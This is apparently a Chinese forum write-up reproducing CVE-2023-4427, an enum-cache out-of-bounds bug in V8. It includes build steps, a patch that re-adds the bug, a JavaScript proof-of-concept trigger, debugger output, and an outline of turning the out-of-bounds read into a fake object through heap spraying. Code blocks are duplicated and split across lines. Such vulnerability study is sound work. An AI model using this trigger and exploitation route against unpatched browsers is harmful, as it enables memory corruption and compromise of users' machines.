-
-
[原创] CVE-2023-4427 复现
-
发表于: 2025-3-9 17:27 5508
-
首发于个人博客,感谢网络上分析过这个问题的师傅@Tokameine@XiaozaYa(排名不分先后)
v8学了一段时间,查阅了很多资料,同时收获很多,因此记录一下。
以下内容可能会存在一些错误,如果有问题,恳请各位大佬指正
编译debug版本,is_debug=true
编译release版本,is_debug=false
diff.patch的内容
推荐去看issue页面的description.pdf,讲的很清晰。下面的内容也是由这个pdf展开
在release版本下验证,debug版本有检测,会导致直接carsh
精简了一下poc
看到这样的输出,就说明环境是没有问题的
首先可以看这样一段代码
不难从下图看出,enum cache所在的位置,object -> map -> DescriptorArray -> enum_cache
这张图更形象
接着看这一段代码,介绍一下transition chain
如下输出
其中这里描述了obj1和obj2的transitions的相关信息
第一个说明当前map添加了一个b属性,然后向下转化为新的map 0x235e000d9cdd,也就是obj2的map
第二个说明当前map添加了一个c属性,然后向下转化为新的map 0x235e000d9d05,也就是obj3的map
下面是更为详细的图
三个对象共享一个DescriptorArray
,然后其中的enum cacahe
也是一样的
下面初始化一下enum cache
输出
V8 将 for...in 循环转换为常规 for 循环,并使用三个关键操作来执行:ForInEnumerate、ForInPrepare 和 ForInNext。ForInEnumerate 和 ForInPrepare 共同收集目标对象的所有可枚举属性名,并将它们存储到一个固定数组(fixed array)中,同时设置适当的上限(即属性的数量),作为隐式循环变量的上界。这个隐式变量还充当该固定数组的索引,所以在每次迭代时,ForInNext 都会从当前索引处加载键(key),然后将其赋值给用户可见的变量。
poc的触发函数
接着去vscode全局搜索Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey
,查看问题代码
注释中将优化的过程讲的很清楚,首先receiver
会被JSToObject
转化为对象,然后调用ForInNext
加载key,接着通过JSLoadProperty
去加载value
优化完毕之后,就会走第二条路径,从receiver
到JSLoadProperty
,但此时的JSLoadProperty
会变成map check
,也就是说如果map
没发生变化,那么就会继续执行后面的流程,也就是从enum cache
中调用,但是如果map
发生了变化,那么就会重新进行优化。
接着是trigger
的调用
这里先通过obj3
的赋值,导致了enum cache
的消失,此时的obj1
和obj2
的enum cache
就会变成invaild
,但是还是存在于内存里。然后obj3
会创建新的map
,此时的三个obj共享一个新的descriptor array
然后去初始化obj1
的enum cache
,但此时的obj2
和obj3
的enum cache
都为invalid
,这里之后会进入trigger
函数的函数体,执行的是遍历obj2
,此时会去检查obj2
的map
,发现其实没有变化,然后会载入enum cache
的长度,这个长度是根据map
来确定的,因此length
本应该是1,但是这里载入了原本map上的enum cache的length,这样就造成了溢出
下图就是攻击的原理图
release版本没有job的显示,只有debug版本有,所以只能release和debug对着调
调试一下上面涉及到的原理
调试的poc
在执行输出trigger时,下断点b Builtins_ForInEnumerate
,然后连续3次c,接着finish执行完Builtins_ForInEnumerate
,然后会发现返回值会将obj2的map赋值给rcx
接着就是对于下面指令的解释
先取描述符数组,接着取enum cache,然后取enum_cache.key,最后然后取对应的enum_cache的length(这个length根据map来确定,因此造成了oob
map、enum_cache.key、length放到栈上
接着map的检查,然后取key[0]
接着取存在栈上的map,然后检查map是否发生变化
依次分别取出描述符数组、enum cache、enum_cache.indices
取出了enum_cache.indices[0],也就是对应的key,接着通过[r8 + r11*2 + 0xb]取到value
这里还是check map,但是这里变成了-0x38,原因是因为前面push了两个值
取key[1]
下面的流程其实就已经开始重复了,因为这是一个循环
这里是一个越界,因为原本的obj1对应的enum cache的size就是1,所以这里二就已经是越界了,取出了一个0x6a5的值,这就对应着新的idx的值,然后越界出了0x6a5,因为是smi,所以会右移1位,也就是/2
这里在取值,也就是说,通过这个map去向后索引这么多[r8 + r12*2 + 0xb]
,结合前面的/2,其实也就是obj2的map+0x6a4+0x8,这个的结果是让这个地址成为一个对象。
所以利用思路也就出来了,这里设obj2的地址为A,这里使得A+0x6a5+0x8的值落在一个可控的范围内,其实不难想到伪造对象,因为他是解引,所以这里需要伪造一个被指向的地址的区域是一个obj,稳定可控的话,可以想到适用通用对象的堆喷
这里的思路借鉴了@XiaozaYa师傅,非常巧妙,且成功率高
调试的时候遇到一些问题
需要通过调整对象的分配大小,最后才能成功触发poc,并得到fakeobj
https://bbs.kanxue.com/thread-280786.htm
git checkout 12.2.149
gclient sync
-D
git apply diff.patch
gn gen out/debug --args=
"symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja
-C
out/debug d8
git checkout 12.2.149
gclient sync
-D
git apply diff.patch
gn gen out/debug --args=
"symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja
-C
out/debug d8
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/release --args=
"symbol_level=2 blink_symbol_level=2 is_debug=false enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/release d8
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/release --args=
"symbol_level=2 blink_symbol_level=2 is_debug=false enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/release d8
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
// the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);
- // If the old descriptors had an enum cache, make sure the new ones do too.
- if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if (has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
// the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);
- // If the old descriptors had an enum cache, make sure the new ones do too.
- if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if (has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
for
(let key
in
object2) { }
function
trigger(callback) {
for
(let key
in
object2) {
if
(key ==
'b'
){
callback();
console.log(object2[key]);
}
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for
(let key
in
object1) { }
});
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
for
(let key
in
object2) { }
function
trigger(callback) {
for
(let key
in
object2) {
if
(key ==
'b'
){
callback();
console.log(object2[key]);
}
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for
(let key
in
object1) { }
});
const object1 = {};
object1.a = 1;
const object1 = {};
object1.a = 1;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
DebugPrint: 0x235e001c9521: [JS_OBJECT_TYPE]
- map: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String]
in
ReadOnlySpace:
#a: 1 (const data field 0), location: in-object
}
0x235e000d9c8d: [Map]
in
OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
-
type
: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 3
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x235e000c4a1d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors
#1: 0x235e001c95b9 <DescriptorArray[3]>
- transitions
#1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c9559: [JS_OBJECT_TYPE]
- map: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String]
in
ReadOnlySpace:
#a: 1 (const data field 0), location: in-object
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: 1 (const data field 1), location: in-object
}
0x235e000d9cdd: [Map]
in
OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
-
type
: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors
#2: 0x235e001c95b9 <DescriptorArray[3]>
- transitions
#1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
0x235e00002a41: [String]
in
ReadOnlySpace:
#c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c959d: [JS_OBJECT_TYPE]
- map: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String]
in
ReadOnlySpace:
#a: 1 (const data field 0), location: in-object
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: 1 (const data field 1), location: in-object
0x235e00002a41: [String]
in
ReadOnlySpace:
#c: 1 (const data field 2), location: in-object
}
0x235e000d9d05: [Map]
in
OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
-
type
: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 1
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors (own)
#3: 0x235e001c95b9 <DescriptorArray[3]>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c9521: [JS_OBJECT_TYPE]
- map: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String]
in
ReadOnlySpace:
#a: 1 (const data field 0), location: in-object
}
0x235e000d9c8d: [Map]
in
OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
-
type
: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 3
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x235e000c4a1d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors
#1: 0x235e001c95b9 <DescriptorArray[3]>
- transitions
#1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c9559: [JS_OBJECT_TYPE]
- map: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String]
in
ReadOnlySpace:
#a: 1 (const data field 0), location: in-object
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: 1 (const data field 1), location: in-object
}
0x235e000d9cdd: [Map]
in
OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
-
type
: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors
#2: 0x235e001c95b9 <DescriptorArray[3]>
- transitions
#1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
0x235e00002a41: [String]
in
ReadOnlySpace:
#c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c959d: [JS_OBJECT_TYPE]
- map: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String]
in
ReadOnlySpace:
#a: 1 (const data field 0), location: in-object
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: 1 (const data field 1), location: in-object
0x235e00002a41: [String]
in
ReadOnlySpace:
#c: 1 (const data field 2), location: in-object
}
0x235e000d9d05: [Map]
in
OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
-
type
: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 1
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors (own)
#3: 0x235e001c95b9 <DescriptorArray[3]>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
- transitions
#1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- transitions
#1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
0x235e00002a41: [String]
in
ReadOnlySpace:
#c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
- transitions
#1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
0x235e00002a31: [String]
in
ReadOnlySpace:
#b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- transitions
#1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
0x235e00002a41: [String]
in
ReadOnlySpace:
#c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
for
(let key
in
object2) { }
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
for
(let key
in
object2) { }
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
pwndbg> job 0x2243001c95d9
0x2243001c95d9: [DescriptorArray]
- map: 0x22430000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: 2
- keys: 0x2243000d9d41 <FixedArray[2]>
- indices: 0x2243000d9d51 <FixedArray[2]>
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x224300002a21: [String]
in
ReadOnlySpace:
#a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x224300002a31: [String]
in
ReadOnlySpace:
#b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
[2]: 0x224300002a41: [String]
in
ReadOnlySpace:
#c (const data field 2:s, p: 0, attrs: [WEC]) @ Any
pwndbg> job 0x2243001c95d9
0x2243001c95d9: [DescriptorArray]
- map: 0x22430000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: 2
- keys: 0x2243000d9d41 <FixedArray[2]>
- indices: 0x2243000d9d51 <FixedArray[2]>
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x224300002a21: [String]
in
ReadOnlySpace:
#a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x224300002a31: [String]
in
ReadOnlySpace:
#b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
[2]: 0x224300002a41: [String]
in
ReadOnlySpace:
#c (const data field 2:s, p: 0, attrs: [WEC]) @ Any
function
trigger(callback) {
for
(let key
in
object2) {
if
(key ==
'b'
){
callback();
console.log(object2[key]);
}
}
}
function
trigger(callback) {
for
(let key
in
object2) {
if
(key ==
'b'
){
callback();
console.log(object2[key]);
}
}
}
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:
// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty
// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.
DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0);
JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
if
(name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
return
NoChange();
}
Node* object = name.receiver();
Node* cache_type = name.cache_type();
Node* index = name.index();
if
(object->opcode() == IrOpcode::kJSToObject) {
object = NodeProperties::GetValueInput(object, 0);
}
if
(object != receiver)
return
NoChange();
// No need to repeat the map check if we can prove that there's no
// observable side effect between {effect} and {name].
if
(!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
// Check that the {receiver} map is still valid.
Node* receiver_map = effect =
graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
receiver, effect, control);
Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
cache_type);
effect =
graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
check, effect, control);
}
// Load the enum cache indices from the {cache_type}.
Node* descriptor_array = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
effect, control);
Node* enum_cache = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
descriptor_array, effect, control);
Node* enum_indices = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
effect, control);
// Ensure that the {enum_indices} are valid.
Node* check = graph()->NewNode(
simplified()->BooleanNot(),
graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
jsgraph()->EmptyFixedArrayConstant()));
effect = graph()->NewNode(
simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
control);
// Determine the key from the {enum_indices}.
Node* key = effect = graph()->NewNode(
simplified()->LoadElement(
AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
enum_indices, index, effect, control);
// Load the actual field value.
Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
receiver, key, effect, control);
ReplaceWithValue(node, value, effect, control);
return
Replace(value);
}
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:
// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty
// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.
DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0);
JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
if
(name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
return
NoChange();
}
Node* object = name.receiver();
Node* cache_type = name.cache_type();
Node* index = name.index();
if
(object->opcode() == IrOpcode::kJSToObject) {
object = NodeProperties::GetValueInput(object, 0);
}
if
(object != receiver)
return
NoChange();
// No need to repeat the map check if we can prove that there's no
// observable side effect between {effect} and {name].
if
(!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
// Check that the {receiver} map is still valid.
Node* receiver_map = effect =
graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
receiver, effect, control);
Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
cache_type);
effect =
graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
check, effect, control);
}
// Load the enum cache indices from the {cache_type}.
Node* descriptor_array = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
effect, control);
Node* enum_cache = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
descriptor_array, effect, control);
Node* enum_indices = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
effect, control);
// Ensure that the {enum_indices} are valid.
Node* check = graph()->NewNode(
simplified()->BooleanNot(),
graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
jsgraph()->EmptyFixedArrayConstant()));
effect = graph()->NewNode(
simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
control);
// Determine the key from the {enum_indices}.
Node* key = effect = graph()->NewNode(
simplified()->LoadElement(
AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
enum_indices, index, effect, control);
// Load the actual field value.
Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
receiver, key, effect, control);
ReplaceWithValue(node, value, effect, control);
return
Replace(value);
}
trigger(_ => {
object3.c = 1.1;
trigger(_ => {
object3.c = 1.1;